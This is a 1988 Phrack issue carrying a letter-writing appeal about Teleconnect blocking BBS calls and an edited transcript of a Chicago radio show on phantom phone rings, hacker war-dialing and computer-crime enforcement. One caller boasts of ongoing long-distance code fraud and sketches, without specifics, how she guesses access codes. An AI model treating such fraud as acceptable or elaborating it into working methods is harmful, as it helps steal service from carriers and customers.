A complaint filed with the Iowa Utilities Board has been initially resolved in favor of Teleconnect. A request for reconsideration has been filed, and the time is NOW for YOU to write letters to the State of Iowa. Please write NOW to:

Mr. Gerald W. Winter, Supervisor, Consumer Services Iowa State Utilities Board Lucas State Office Building Des Moines, Iowa 50319

And to:

Mr. James Maret

Office of the Consumer Advocate Lucas State Office Building Des Moines, Iowa 50319

Write now. The rights you save WILL be your own.

After filing a request for reconsideration of my complaint, I received a reply from the Iowa State Utilities Board which said, in part:

"Thank you for your letter dated August 22, 1988, with additional comments concerning your complaint on the blocking of access to certain telephone numbers by Teleconnect.

"To ensure that the issues are properly investigated, we are forwarding your comments to the company and requesting a response by September 15, 1988."

Again, this is a very large issue. Simply stated; Does ANY telephone company have the right to "block" (or refuse to place) calls to ANY number on the basis of unsubstantiated, uninvestigated charges of "telephone fraud," especially when the alleged fraud was committed by a third party without the knowledge of the called party? In the specific case, the question becomes; Can a long distance carrier refuse to handle calls to a BBS solely because some unknown crook has placed fraudulently‑charged calls to that BBS? Incidentally, when you write, please cite file number C‑88‑161.

If you have any additional information which might be helpful in this battle, please let me know.

You can send mail to me via U.S. Mail to: Jim Schmickley

7441 Commune Court, N.E.

Cedar Rapids, Iowa 52402

Phrack World News Special Edition II

==Phrack Inc.==

Volume Two, Issue 21, File 9 of 11

PWN PWN PWN PWN PWN PWN PWN Special Edition PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN PWN Special Edition Issue Two PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN Special Thanks To Hatchet Molly PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN Special Edition PWN PWN PWN PWN PWN PWN

Ed Schwartz Show on WGN Radio 720 AM

~~~~~~~~~~~~~~~~~~~

September, 27‑28, 1988

Transcribed by Hatchet Molly

Hello. In this special presentation of Phrack World News, we have the abridged transcripts from the Ed Schwartz Show, a late night talk show broadcast by WGN Radio 720 AM ‑ Chicago, Illinois.

The transcripts that appear here in Phrack have been edited for this presentation. For the most part, I have decided to omit the unrelated chatter as well as any comments or discussions that are not pertinent to the intent of Phrack World News. In addition to this, I have also edited the speech somewhat to make it more intelligible, not an easy task. However, the complete unedited version of this broadcast can be found on The Phoenix Project (512)441‑3088, sysoped by The Mentor.

:Knight Lightning

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The Cast;

A = Anna (Self‑proclaimed phone phreak in Kansas City, Missouri) AA = Sergeant Abagail Abraham (Illinois State Police; Computer Crime Section) B = Bob (A bulletin board system operator)

BG = Bob Gates (Manager of Corporate Security for Ameritech)

CM = Chuck Moran (Director of Internal Affairs; Ameritech Applied Technologies) D = Dan (A computer science major at DeVry Technical Institute in Chicago, IL) ES = Edward Schwartz (Our host)

EZ = Ed Zahdi (A researcher from THE READER, a local publication in Chicago) G = Gordon (Hatchet Molly, a graduate student at Northern Illinois University) JM = John F. Maxfield (Our famous friend from BoardScan in Detroit, Michigan) K = Kevin (A BBS sysop)

L = Louis (A caller)

P = Penny (A victim)

R = Robert (A legal hacker)

R = Ray (A former software pirate)

S = ?? (A consulting engineer)

Also mentioned, but not on the show, was SHADOW HAWK of Chicago, Illinois, who was recently arrested for theft of software from AT&T, and TOM TCIMPIDIS, a famous sysop who was arrested for having, unknown to him, AT&T Calling Card numbers on his legal bulletin board.

^*

ES: It's 12 minutes after the hour. The hour, of course, is eleven o'clock. We have a tremendous amount of commerce that goes on late at night and in the early morning. When I say commerce I'm talking about computer operations of all kind from keypunching to tabulating ‑ you name it.

We've done two programs with Ed Zahdi who is the researcher from THE READER (the weekly newspaper) from the "straight dope" column. Ed Zahdi does the research and on two appearances (on two Friday nights) within the last year or so on this program Ed Zahdi has received a number of phone calls... about computer hacking, about people whose telephones mysteriously ring in the middle of the night ‑‑ or almost any time of the day but constantly do so and they pick up the phone and there's nobody there.

The last time Ed Zahdi was on, we were flooded with calls from people who claimed that;

o There are all kinds of telemarketing people who are ringing telephones. o That the phone company is testing phones and you don't know it. o That the phone network gets tested every day and everybody's phone rings once or for half a ring and nobody's ever there.

I was amazed at the number and type of calls that came in. We called the phone company and we asked for some cooperation and tonight we are having as guests not only Mr. Ed Zahdi from THE READER, but also Mr. Chuck Moran, the Director of Internal Affairs from Ameritech Applied Technologies. We also have Mr. Bob Gates, Manager of Corporate Security for Ameritech.

We're gonna get into this whole thing as to whether or not people are using and abusing the phone networks. Whether or not computer hackers are ferreting out phone numbers with computers. Whether or not you can really program a computer to randomly ring every telephone in the city or not.

If you're a computer person hang around. We're also going to talk about some of the things that the phone company and other allied businesses are doing to catch up with the computer hackers.

JC: Well, that sounds interesting to me.

ES: Well now are you ready for this? The Bureau of Criminal Investigation of the Illinois State Police has a computer fraud unit.

JC: Uh‑huh

ES: And do you know what they like to do?

JC: What do they like to do?

ES: Lock up computer hackers. Tonight we're going have the computer hackers running for the hills! Well maybe I should say "typing for the hills" huh? JC: Probably! (chuckle)

ES: Because they don't run...most of them are couch potatoes.

JC: That's right!

ES: Glad to see you here Ed.

EZ: Glad to be here Ed. In In the "straight dope" we deal with all kinds of questions one of the questions we got onto was the question of ghost rings. People would hear these things primarily at night.

ES: On their home phone?

EZ: On their home phone. What would happen is that they'd be sitting at home and the telephone would ring for a half a ring or a whole ring or maybe even two rings. They would pick it up and nobody would be there. And I'd heard about this in the past. I thought it was some peculiarity of buying a phone from K‑Mart or who knows where.

We got easily a dozen calls in the course of the evening from people who had the same experience happen to them. And it would always, oddly enough, happen at the same time of the night or on the same day of the week at the same time of the night and it was pretty eerie.

We got one woman, who I've spoken to several times since who said that she was an answering service operator and she had whole banks of phones and sets of these phones would jingle once at a certain time of the night and then the next day a different set would jingle at a certain time of the night and then the following week or the following whenever the pattern would repeat, but nobody was ever there. And so we decided there had to be some obvious solution to this problem and the speculation at the time was that it was some sort of a testing program that the phone company had to check out the trunk lines or something like that.

So, I called up the phone company, Illinois Bell, I called up CenTel, called up Bell Labs, called up places like that to ask if they knew anything about it. I asked whether there was a testing program, if not what explanation could they offer. They said no, there was no testing program, they had no idea. They had some speculation they thought conceivably some sort of computer ringing service was involved, but they didn't have any really clear idea so we came back here a couple of months ago to talk about it again.

ES: We were swamped with calls again.

EZ: I asked for the woman, whose name is Pat, who was the answering service operator to give me a call. She did and she volunteered to help us out and see if we could use her phone system as a guinea pig and have the telephone company try and find out, if they had means of doing this, what the source of these ghost rings was. One of the things she pointed out was that during the Hinsdale fire or during the time that the Hinsdale switching system was out of operation after the fire there the ghost rings stopped.

ES: Ahhhh!

EZ: After it was repaired the rings started up again, but they were on a more irregular basis whereas before they were sort of like clockwork at a given time of the night.

ES: Uh humm.

EZ: Now the same sets of phones would ring on a given day, but at predictable times. And it would vary within an hour or so. So what I hoped to do at that point was to get together with Pat and try and get together with the phone company at her place and see what we could find out. Unfortunately she got sick, had a bad infection, so she was out of work for a long time. ES: Uh humm.

EZ: She has just recently gotten back on the job and I spoke her today and our plan now is that I'll go over to her place of business on Thursday just to see for myself and at that point I'm going to call up probably your friend Ken Went at Illinois Bell.

ES: Head of Security

EZ: We'll see what we can find out and see if they'll do it for cheap 'cuz we haven't got a whole lot of resources yet. Now the problem is that the connection only lasts for a split second and I hope that they can find something out in that short of a period of time in terms of tracing but its not clear to me that its totally possible.

ES: Now one of the things that we found out when you were here a few weeks ago on a Friday night was another element to all of this. Telemarketers have been known to, in terms of getting a hold of people, ring phones of people whose numbers they don't know.

EZ: We got some real interesting things. There were two basic theories here that I guess that I should talk about. One is that computer hackers do this. One of the things that computer hackers do is program their computers to use their modems their modems to find other computers. When they find one, there will be a characteristic tone that will tell the computer on the other end that its reached another computer. If they don't find a computer they can disconnect real quickly before the connection is actually made and the charge is placed to their bills. So they can do this all for free basically. They'll do this routinely to try and find new locations of computers.

ES: Right.

EZ: So that was one theory. The drawback to that theory is well, why would they do this repeatedly with a given number? Because obviously if the computer isn't there Tuesday its not going to be there Friday afternoon. Why would they try this repeatedly every week. That was one problem. The second theory that was presented to us was that telemarketing firms do this to keep their files up to date. They want to find out if given numbers are still in use or something along those lines.

ES: Cause people do move and people do change their phone numbers. EZ: Right, so what they do is they dial a number up real quick and hang up before you can answer it. At least they can detect whether the line is actually in use. This gives them apparently some useful information. So these were the two main theories and there were several elaborations on these that we'll probably hear more about tonight, but those were the theories that we had. he problem of course as I say is its not clear exactly what the advantage of doing this on a routine basis, weekly or whenever would be to the person who is doing it.

ES: There there are some very important elements to all of this. First of all there was a guy on yesterday morning who apparently filed some lawsuits against companies that do telemarketing for disturbing him and he is going to set a precedent that if you are bothered at home by telemarketers that you can sue them and collect damages.

Not often a lot of money but enough to make them uhh sit up and take notice and he is trying to teach other people how to sue telemarketing people.

(Break for commercial followed by re‑introductions)

CM: Thank you, Ed. It is our pleasure to be here.

ES: It's a pleasure to have you here. Ameritech Applied Technologies is a division of Ameritech the phone company, right?

CM: Right. We're a subsidiary of Ameritech that that deals with information technology needs of the Ameritech family which includes Illinois Bell. ES: What are some of the things you work on or are responsible for? CM: I'm responsible for computer security for the Ameritech companies. I also happen to have auditing for Ameritech Applied Technologies, physical security for our company. That kind of stuff.

ES: Big job!

CM: Yes. We are involved with hackers regularly all the time.

ES: Good to have you here tonight Chuck. Also I would like to introduce Mr. Bob Gates, manager of Corporate Security also with Ameritech Applied Technologies.

BG: Good Morning.

ES: And a good morning to you. Bob previously was a police officer. You have been in Corporate Security at Ameritech for how long now Bob? BG: Since divestiture which was in January 1984. Its a much more specialized field and you deal with one particular aspect of the whole scenario. ES: Is it correct, are our callers correct? Do you ring people's phones at various hours of the day and night? Are there "ghost" rings? Are there people out there playing around? Is it the phone company or is it others? What's going on?

CM: Well, I've been in this telephone business for 22 years now. ES Okay now this is the Director of Internal Affairs for Ameritech Applied Technologies, Mr. Moran, go ahead.

CM: In my days at Illinois Bell, we very often heard these complaints. We kept trying to find out what it was some of the things the we've discovered is the computer hackers! They love to scan a prefix and look for a computer tone. They want a computer to talk to, so it'll ring a phone. Their computer will ring your phone.

ES: Now this can be done from the bedroom of a thirteen year of a computer phreak right? Or anybody else for that matter.

CM: If he has got a semi‑good computer mind he can do it while he is asleep. He can program his PC to use his modem to dial your number. ES: Is most of the computer hacking and unauthorized use of computers done in the off hours? In other words its not people in business during the day, right? Would that be basically your computer hacker description? CM: People still have to live, they still have to have jobs to feed themselves, and they still have to go to school or go to classes and so your going to find that since hacking is a hobby, it is going to done during their free time. Which is typically evenings, weekends, and vacation periods. ES: I guess what I'm getting at here is I'm trying to establish most of the the computer related misbehavior comes more from private homes than from business offices.

CM: No. The studies seem to indicate that 80% of computer abusers are in fact people in business and are abusing their own company, but that is not going to cause your phone to ring. The people who are using the network to call and look for computers are the people which we typically call hackers, which amount for 15‑25% of the computer abuse that goes on in the world. ES: How concerned is Ameritech and the other technology and phone companies around the country about all of this?

CM: Well just as any business Ameritech is highly dependent upon information systems to survive. So we are concerned with whatever risks go with computer usage.

ES: Did you both see the film WarGames with Matthew Broderick?

CM and BG: Yeah.

ES: Now while the plot is pretty far‑out, the theory is workable, correct? BG: The natural inquisitiveness of the youthful mind, the need to explore. ES: We've heard stories about computer hackers who have gotten into computers in government offices, high schools, colleges, and universities. They've changed grades, added and subtracted information from formulas, and done all kinds of things.

Payroll records have been changed and we've got a thing now called the computer virus. We've got a conviction of a guy who is going to jail for literally destroying a computer program two days after he left the company and apparently that is something that computer people are very worried about.

Are we going to end up with a huge number of people called "computer police" here at some point? To get a handle on all of this, is that what we need?

BG: I think computer security is just a natural extension of using your computers to ensure that they are used in a secure manner. That they aren't tampered with and they aren't abused. To do that you have to take some degree of effort to protect your computer system.

ES: Is law enforcement geared up to deal with the kinds of crimes that you guys are working on, investigating and trying to deal with?

BG: Law enforcement does have experts with them. They also have to investigate everything else that occurs. So it becomes a priority item to private companies to make a commitment to look at it themselves to protect their systems and include law enforcement if appropriate.

ES: Is there a naivety on the part of a lot of people that just left computer systems unguarded.

BG: Yes. In reference to the law enforcement, in our current criminal justice system I know that in the states that we deal with and the federal agencies that I have dealt with part of the problem is finding a prosecutor, a judge, and a jury that understands what a computer crime is, Because they are not computer literate.

ES: Well stealing information and stealing time are crimes. How about the stories of computer hackers breaking into computers at nuclear laboratories like Lawrence Livermore Laboratories in California. This is where they do the research on nuclear weapons and God knows what else. Think of the potential of this kind of misbehavior it's frightening.

BG: That's why computer security has become a hot job.

EZ: I'm still trying to focus on my immediate problem here which was the question of the ghost rings. What I'm hearing you say is that you think that the ghost rings are primarily the work of hackers.

CM: I think its a very plausible cause.

EZ: The question that people raise about this of course is that you can see it happening once in a while, but why all the time on a regular basis? CM: The computer hacker scans prefixes and will set his dialer look for computer tones. He may find a few numbers and tell two or three friends. Those two or three friends will now tell two or three other friends. They will see these numbers and then they will go and scan that whole thousand number group again.

EZ: I still don't quite see why the ghost rings occur at exactly the same time all of the time.

CM: I can't answer that.

ES: I respond to that by saying the times are most likely approximate. Most people's watches aren't perfect and neither are their memories. However if the majority of the hackers are in high school, then they are probably going to sleep at about the same time every night and setting their dialers to run while they are asleep, therefore hitting the same numbers at roughly the same time every night.

Is it correct to say that they can program these computers to do this work without any billing information being generated? And how can they do this? Or is that an area we should stay away from, I don't want to compromise you guys.

BG: You're talking toll fraud and that's really not my area of expertise. Toll fraud is a fact of life, but I'm not a toll fraud person.

CM: The presumption is that the billing doesn't kick in for a split second after the phone is picked up and that is what enables these guys to get away with this.

BG: Talk to Ken.

ES: Ken will tell you things that you'll never be able to talk about on the radio or write about I'm afraid. We're going to get into some other elements of all of this. Are the penalties for computer hackers set to meet the crime these days? I mean do we catch many of them do they get punished and does the punishment fit the crime?

CM: The computer hackers that usually get caught are juveniles, which means the most you can do is keep them in jail until they are 21 and confiscate their computer equipment. The U.S. Attorneys Office in the Northern District for Illinois did in fact return a juvenile indictment against a hacker who used the code name SHADOW HAWK. It made the front page of the Chicago Tribune. ES: What did he do? Can you tell us?

CM: According to the Tribune, he stole software from AT&T.

ES: This proves that as smart as some of these hackers are, some of them get caught, maybe even a lot of them get caught. So as hard as they're working to defy the system apparently you people are working from inside the system to foil what they are doing and catch them.

CM: Exactly

ES: If you don't prosecute them when you catch then then it will not mean a thing so does that mean that the various phone companies and their subsidiaries have got a very serious mood about prosecuting if you catch people? Is that the way of the future?

CM: Every case is different. Prosecution is always an option.

ES: Are we a couple of years late in dealing with this problem? BG: The laws typically catch up to the need. You have to identify a problem before you can really address it.

ES: We have made arrangements thanks to our guests tonight to speak to an Illinois State police detective sergeant who works on computer fraud; Sergeant Abagail Abraham.

AA: Good morning I appreciate being here.

ES: Have you been listening to the radio prior to our call?

AA: I've been glued to the radio yes.

ES: Okay. Your unit is called Computer Crime Section?

AA: Sure.

ES: How long have you been in existence?

AA: Since February 1986.

ES: There obviously was a need for it. Do we have enough state laws or state statutes for you to do what you have to do?

AA: I think so. At the time that the section came into existence, the laws were not very good. Most computer crimes were misdemeanors until a few months later when the attorney general held hearings in which we participated and thus they drafted a law.

ES: Sergeant, is it handled better at the state level as opposed to the federal level? The gentlemen here from Ameritech mentions that the US Attorneys Office has recently brought a prosecution here in Northern Illinois. Is his office going to be doing much more of this or do you see it being done at a state level?

AA: I think it depends upon the kind of case. Certain cases are probably better handled at the federal level and certain cases are handled best at the local. When dealing with the federal agencies, the jurisdiction for computer fraud is shared between the FBI and the Secret Service. So it depends upon the nature of the case as to which agency would take it, but many cases are not appropriate for the federal government to take part in. ES: Let's say we have a student who changes a grade in a school computer system. That would be more a state case I would presume than a federal case right?

AA: Certainly it would be likely to be a state case, we had a case like that. ES: If you were able to develop a case like that and have evidence, are you liable to get a conviction? Our guests were saying that the courts don't necessarily understand all of this. When you go into state court on this kind of a thing are you getting judges and/or juries who understand what you're talking about?

AA: Well we have had no cases go to jury trials. As a matter of fact, no cases have even gone to bench trials because as like the vast majority of cases in the system they are plead out.

ES: They plead guilty?

AA: We have a 100% conviction rate.

ES: Really!

AA: Our success is based very good cooperation from state's attorneys offices. We've had no problems bringing our cases to them.

ES: Your data is so good that by the time you make your pinch there is no way they can talk their way out of it. You've got them dead to rights. AA: Yeah, we haven't had a problem with that.

ES: What kind of penalties are you getting Sarg?

AA: All of our cases have had a 100% conviction rate, be we haven't had that many finally adjudicated. They are in various stages because the law is so new.

ES: I presume that you're going to continue working very hard put more people in jail.

AA: Yes, it's a growth industry.

ES: Is Director Margolis supportive of what you are doing?

AA: I think so. Our unit came into existence under the prior director, Zegal, but Director Margolis has been very supportive of our efforts and I suspect that he will become even more so.

ES: Do people who are victims of computer crime know who to report it to? If you operate a business and your computer has been violated or anything at all has been done to you, does the average computer owner know who to report it to?

AA: No. That's a really easy question!

BG: I would, but only because I'm in the industry. However, the average small business man would probably be somewhat at a loss.

AA: He might not even realize that is is a crime.

BG: That's exactly true and fortunately Illinois has had the foresight to put together a unit such as the Sergeant's.

ES: Let's say there is a medium size company that uses computers. I'll invent a company. My name is Mr. X and I own a a fairly nice real estate company in the neighborhood of Chicago. I've got maybe a dozen employees and a couple of years ago we went to computers to keep track of our listings, and all of our accounting and our bookkeeping, our past customers, and all our contactees. I mean we've got a lot of data. We communicate with some other real estate agencies and so we use modems, telephone lines and let computers talk to computers. Since some of this work is done when our office is closed, we leave our system hooked up. I came in yesterday morning and low‑and‑behold somebody got into our computer and erased all of our data, or part of it, or changed something. I am the victim of a crime should I pick up the phone and call the Illinois State Police AA: Sure.

ES: You'll show up and you'll investigate?

AA: Sure.

ES: Okay.

AA: There are several ways in which a case can get to us. One of them is that you as the victim could contact us directly and another way would be to contact the local police and hope that they would call us.

ES: There's the key word...hope. Does the Chicago Police, the Wilmette police, the Joliet police, do they know enough to refer these cases to you? AA: I don't know if Joliet does, but Chicago and Wilmette certainly do. For any of the police that are out there listening at this point let me add that if we were to get a case referred to us, we will handle the case in any one of a number of ways. If the local agency brings it to us and wants nothing to do with the case because they have too much on their own we will take the case over. If they would just like to either work cooperatively or have us go with them on an interview or two to translate what the victim may be saying we'd be happy to do that too. So we have enough work to do now that we need not take cases over. We are happy to work with any agency.

CM: I think one thing worth pointing out here is that we're focusing on on a crime via telephone. Computer crime is done from afar where the victim doesn't know the offender.

AA: That's true.

CM: The majority of cases probably don't involve telephones at all. They involve companies' own employees who are committing what amounts to embezzlement using computers. Either transferring money by computer to their own accounts or somehow playing with the books and the employer might not realize for a long time until some auditing process occurs that the crime has even occurred.

AA: You're right. There are a number of cases like that. What happens very often in a case like that when it is somebody in‑house is that the company will choose to not call it to the attention of the police they will choose instead to take disciplinary action or fire the person. Their argument most times is that they don't want the embarrassment. We do not go out and seek headlines unless our victim is interested in having headline sought. We don't choose to publicize cases and embarrass our victim. The stuff is simply not reported that much.

EZ: I was talking to a computer consultant once who said that the higher you are up in the company if you're involved with something like this the less likelihood there is of not only you never doing time, but even getting any sort of penalty involved. I was there was one particular case of a guy who was an executive vice president for a bank who I think stole some phenomenal amount of money was in the millions who was discovered after some period of time and they didn't want it to get out that one their trusted employees was a crook so they gave threw this guy a retirement banquet

ES: Hahahahahaha.

EZ: They retired him from the company and he left with honors.

AA: I like this....

EZ: The consultant said he was there and it was the most hypocritical thing he ever saw, but they will do it to avoid the unfavorable publicity. ES: I believe it.

AA: Certainly if you are high in the organization and you control things then you can control various procedures so that you are less likely to be caught and you are probably in control of enough money that you are able to come up with creative ways to embezzle it with less suspicion aroused. I'm not sure why, but the more money you take the less likely you are to get prosecuted.

ES: People admire these kinds of crime.

(Commercial Break and then reintroductions including...)

ES: I want to welcome a new player to our game tonight, Mr. John Maxfield. John Maxfield owns a corporate security consulting company. John...are you there?

JM: Yes I am, good morning.

ES: Good morning I guess you are outside of Chicago and are you close enough to have been listening to our program?

JM: Well ahhhhh, unfortunately ahhhh I'm ahhh a bit to the east of you and I had a little trouble listening in on the radio so uhhh I've been listening the last few minutes on the telephone.

ES: We've gotten into all kinds of data here. Have you and the sergeant ever talked before?

JM: I don't believe so. I may have talked to somebody in the Illinois State Police ummmm maybe a year or so ago, but it was not the sergeant. ES: Sergeant Abraham you're still there, correct?

AA: Yes. I'm here

ES: I presume John that you know Chuck Moran and Bob Gates.

JM: Yes I ahhh am acquainted with ah Bob Gates.

ES: What does a private computer security company do?

JM: Well uhhh we get involved with ahhhhhh ahhhhh the cases that perhaps don't make the headlines. Ummmmm and my role is more of kind of in counseling clients as to how they should secure their systems and to acquaint them with the risks and the kind of the nature of the enemy what they are up against.

ES: We were talking earlier about a movie called WarGames which I'm sure you must be familiar with. My guests have been telling us a little bit about some of the things that go on. I suspect that the computer hacking problem and related behaviors is probably very severe isn't it?

JM: Yes ahhh it certainly is a growing problem The movie WarGames kind of put out into the public eye what had been going on very quietly behind the scenes for a number of years. And uhhh of course as a result of WarGames I think there was an increase in hacking activity because now a lot of the uhhh hackers suddenly realized that it was something that maybe something they should do and achieve notoriety.

ES: I have a question here that may or may not have an answer. Why is that the legitimate use of the computer isn't enough to satisfy its user or owner. In other words, why hack? Why misbehave? Why break the law? Why cost people a fortune? I mean there are so many fascinating things you can do with a computer without breaking the law why are so many people into this anti‑social, anti‑business behavior?

JM: Well that's a difficult question..ahhhhhh you could say "why do we have criminals?" You know when you know there's plenty of gainful employment out there. Ahhhhh the thing with the computer hackers uhhh most of them are thrill seekers. ahhh they are not the kind of people that are going to be ahhhh good achievers with computers they're really only know how to do the destructive things. They're kind of the analog of the vandal. Ahhhh they're not really ahhh some of them are very bright but they're very misguided. Misdirected. And uhhh it's it's kind of hard to make a generalization or a stereotype because they do kind of cover a wide spectrum. We've got a one end of the spectrum a lot of these young kids ahhh teenagers. And they mostly seem to be boys there is very few female hackers out there.

ES: really?

JM: Yeah that's an interesting phenomenon. I would say that maybe there is one girl for every ten thousand boys. But ahhh anyway at the one end of the spectrum we have these kids that are just kind of running loose they really don't know how to do very much but ahhhh when they do manage to do it they do a lot of damage. Just by sheer numbers. And then on the other end of the spectrum you perhaps got a the career criminal whose chosen to commit his crimes over the telephone line. Instead of you know holding up people with guns uhhh he robs banks by telephone. So you've got this wide spectrum and it's very hard to put a stereo type to it, but most of the hackers start out because there's kind of a thrill there's sort thrill of ripping off the phone company or breaking into a bank computer and destroying data or something. There's a ahhhh kind of a power trip involved.

ES: Now what you're trying to do is advise your clients how to avoid this before it happens. Do most of them end up getting burned before they come to you or are people smart enough to invest early?

JM: Security unfortunately in the business world tends to take kind of a back seat because it doesn't generate profits, it doesn't generate any revenue. It's an expense uhhh if if you're worried about burglars and you live in a big city like I do or like Chicago. Then you know you've got to spend extra money for locks and burglar alarms and it's a nuisance you've gotta unlock your door with three different keys and throw back all these dead bolts and stuff and turn the burglar alarm off and back on again when you leave so it's a big nuisance. So security tends to be left sort of as the last thing you do. And uhhh of course after a corporations been hit their data's been damaged or stolen or destroyed or whatever. Then they can't spend enough money, you know, to keep it from happening again. ES: We have been told there is not premise that is burglar proof, there is no person regardless of their importance in this world who is totally protectable. Is a computer or a computer system totally protectable? I mean can you teach somebody how to secure the system so the hacker just can't get at it?

JM: Quite frankly you're you're correct. I think the only secure computer is one that is unplugged. Or you change all the passwords and don't write them down so no one can log on. Like any other form of security if you put enough locks and bars on your doors and windows the burglar's going to go somewhere else where its easier pickings. The same is true with computer security. You can secure your system from all but the really ummmm you know intense organized attack. Now obviously in industry we've got certain segments that are targets, if you will. Banks obviously are a target, that's where the money is.

ES: If computers are so capable and so smart, can't we say to a computer "Okay Computer, protect yourself"?

JM: The computer actually is fairly capable of defending itself, the only problem is it's not intelligent. Uhh and it doesn't really care you see whether somebody breaks in or not. You see there's no human in the loop, if you will. So you have to have you have to have a human someplace that looks at the exception report that the computer generates and says "hey! What's all these two o'clock in the morning logons...those accounts are supposed to be active at that time of night." Now you can program a computer to do some of that, but you still need a human auditor to scrutinize the workings of the system ever now and then just to be sure that the computer is protecting what its supposed to protect. ES: John, what's the name of your company?

JM: My company is called BoardScan and we're in Detroit Michigan ES: We have some callers, first up is young lady by the name of Penny. Are you there Penny?

P: Yes I am Ed, how are you?

ES: Good. Are you enjoying the program?

P: Yes! I'm a victim!

ES: A victim! Tell us how.

P: We moved in about three months ago, two of our phones are rotary service and one of them is a cheapy touch‑tone that you go from touch to pulse or something on it. When somebody dials out on one of the rotary phones, this cheapy phone beeps back at us. Well I don't mind it too much because I've got little kids and I get to know who's using the phone. Except, 10:38 at night when my kids are sleeping and I'm sitting in the family room, my little touch‑tone phone beeps at me. Twice.

JM: Oh I think I can explain that, perhaps. Now it just beeps... P: Twice!

JM: It does it every night about the same time?

P: Just about, yeah.

JM: Well there's an automatic scanner in every telephone exchange that runs at night testing lines.

ES: Oh no! Now wait a minute!

P: Now wait a minute! They said that doesn't happen! No no no no. ES: The phone company all right. This is the one thing that everybody we've talked to in the telephone industry has denied!

EZ: We, ahh, yeah....

ES: Go ahead Ed! Take over, take over

EZ: We talked to a number of people at the phone company and the original thought was the phone company was doing some sort of testing, but the people at the phone company we talked to said "no...they don't." That testing occurs only when the actual connection is made in a routine phone call. This is part of the on‑going sort of testing program. There is no additional testing, however, they said. Now does it work differently in Michigan?

JM: Well I don't know. I know I have a phone that ahhh will ahh...it's got like a little buzzer in it and it will go "tick‑ tock" at about 1:30am every night. And ummmm if you're on a if you're on one of the older electro‑mechanical exchanges uhh then I dare say there is a scanner that does scan all the lines at night. And it it only stops on each line for about oh a 1/2 second...just long enough to make your phone go beep‑beep. And I'm sure that's what the explanation is. I am pretty qualified, before I got computer security work I used to install telephone exchanges. P: Okay, I have a home computer. It's a Commodore I do not have a modem. Is there anyway that I could get one and verify this?

JM: Ahhhhh I don't what a modem would have to do with the telephone company testing your line at 10:30 at night. I don't see the connection there. P: What would verify it? Could I verify that I'm being used as a test or would it verify that I'm being scanned by some other computer someplace? JM: Well no. If you were being scanned by a hacker, you'd be getting an actual ring, you wouldn't get just say a short beep.

EZ: Penny where do you live?

P: Oaklawn.

EZ: Would you be willing to participate in a little experiment?

P: Sure, it happens pretty regularly.

EZ: Okay. Well is it every night or just some nights?

P: 6 nights out of 10. More than 50‑50. It happened tonight as a matter of fact.

EZ: Okay well tell you what.

P: It happened last night as a matter of fact!

ES: Penny, we'll get your name and your number and Ed is going to call you during the day and do a little work with you, okay? P: Sounds good.

ES: Thanks Penny. Hold on a minute okay?

P: Thank you.

ES: You see now, Mr Maxfield is telling us something that every source we've gone to has denied. There's no such thing they tell us as of random testing of the phone network either by the local phone company or by AT&T they say to us "what for?" There's no need to do it. There's no reason to do it. Let me ask our guests in the studio here from Ameritech. Has either one of you ever heard of anything like this? Is it the kind of thing that either one of you can address? I know that you're computer guys, but what about this?

CM: I know who you've talked to over at Illinois Bell Security and at one time historically they used to do testing, but they stopped that when I was still at Illinois Bell.

ES: So this is some years ago.

CM: Yeah.

EZ: Now did it only apply to the electro‑mechanical systems?

CM: The only offices I ever worked out of were electro‑mechanical, so yes. JM: Well I don't know. That would be my first guess because I know when I was on electro‑mechanical exchange here in Detroit that's what would happen every night.

ES: It's a different phone company.

JM: Well I know, it's the same equipment though. Now on two electronic switching systems the line is tested every time you make a call. So there isn't any scanner like that. I think the mystery would be solved by just verifying what kind of equipment you know she was being served out of. EZ: It never dawned on us that that would make a difference.

(Commercial Break and then reintroductions including...)

ES: I've got a call coming in here long distance from Missouri. Anna are you there?

A: Yes I am.

ES: Where in Missouri are you?

A: I'm in Kansas City.

ES: And you're listening to us tonight?

A: Yes.

ES: Okay now my producer tells me that when you called up you identified yourself as a computer hacker, is that correct?

A: I am a female phone hacker and computer hacker, Yes.

ES: One of the few because apparently mostly males are into this. A: Uh‑huh.

ES: Anna, talk up a little bit louder. How old are you?

A: I'm 27.

ES: Twenty seven years old and do you have a job?

A: No.

ES: You don't?!

A: No I have a lot of idle time.

ES: And you're a computer hacker. By definition what do you do with your computer that makes you a hacker?

A: Well I scan out codes that residents and companies have with US Sprint and different companies and I've used about fifteen thousand dollars worth of free long distance.

ES: Are you calling free right now?

A: Yes I am. I am not paying for this call.

ES: Your computer has allowed you to make an illegal long distance call? A: Through the computer I obtain the codes and then I dial codes with the touch‑tone.

ES: Sergeant, should I be talking to her since she's committing crime right now. Am I aiding and abetting her? No wait..no. I've got a police officer on here....Sarge?

AA: Yes.

ES: What do you think? Should we continue with this?

AA: I'd be real curious to know what her justification is for her behavior. ES: How about that Ann, how about giving us an answer for this?

A: Well I have a lot of idle time and very little money and I like to talk to a lot of my friends. I have a suggestion for companies and residents out there who might have remote access codes. You might make them difficult, not not easy where hackers could, you know the first things they try are like 1‑2‑3‑4, etc.

ES: Well let me ask you a question Anna. Have you found your computer hacking to be relatively easy to do?

A: Yes I have.

ES: So you're saying that the computer people of the world have not tried hard enough to keep you out?

A: No they haven't. I would suggest as far as the phone companies who use remote access codes to make the codes more difficult.

ES: When we run into people like Anna who obviously have some intuitive talent and some success at this, why don't we hire some of these people and put their knowledge to work?

AA: No!

ES: No?

JM: No. No. I'd have to say no to that also.

A: Why not?

JM: You have to understand the the technical side of it. Just knowing how to hack out a code doesn't qualify you as knowing how to change they system so you can't hack codes anymore.

AA: There's a perception that these people are all whiz‑kids and I don't think that's the case.

ES: Are you a whiz‑kid Anna?

A: No, I don't always use the computer to find these codes I have a lot of friends and I also do some hacking of my own and there are a lot of different methods. What you figure out is what how many digits are in the codes and different things like that so it does require some brains. Unless you have friends of course and that's all you rely on. ES: Do you not understand that what you are doing is illegal? Does that not even enter into the equation?

A: Of course I understand that! Yes.

